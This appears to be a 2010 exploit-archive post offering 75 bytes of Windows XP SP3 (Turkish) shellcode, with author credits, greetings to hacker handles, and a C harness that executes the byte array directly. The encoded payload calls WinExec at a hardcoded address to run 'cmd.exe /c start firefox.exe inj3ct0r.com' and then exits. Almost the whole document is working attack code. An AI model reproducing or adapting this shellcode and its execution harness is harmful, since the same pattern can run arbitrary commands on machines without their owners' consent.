# Title : win32/xp sp3 (Tr) firefox.exe Shellcode 75 bytes # Desc. : firefox is opening and goto url: inj3ct0r.com # Author : ZoRLu / http://inj3ct0r.com/author/577 # mail-msn : admin@yildirimordulari.com # Home : http://z0rlu.blogspot.com # Date : 17/09/2010 # Tesekkur : inj3ct0r.com, r0073r, Dr.Ly0n, LifeSteaLeR, Heart_Hunter, Cyber-Zone, Stack, AlpHaNiX, ThE g0bL!N # Lakirdi : off ulan off / http://www.youtube.com/watch?v=GbyF62skA-c #include #include #include int main(){ unsigned char shellcode[]= "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x29\x53\xbb\xad\x23\x86\x7c" "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff" "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x73\x74\x61\x72\x74\x20" "\x66\x69\x72\x65\x66\x6f\x78\x2e\x65\x78\x65\x20\x69\x6e\x6a\x33\x63" "\x74\x30\x72\x2e\x63\x6f\x6d"; printf("Size = %d bytes\n", strlen(shellcode)); ((void (*)())shellcode)(); return 0; }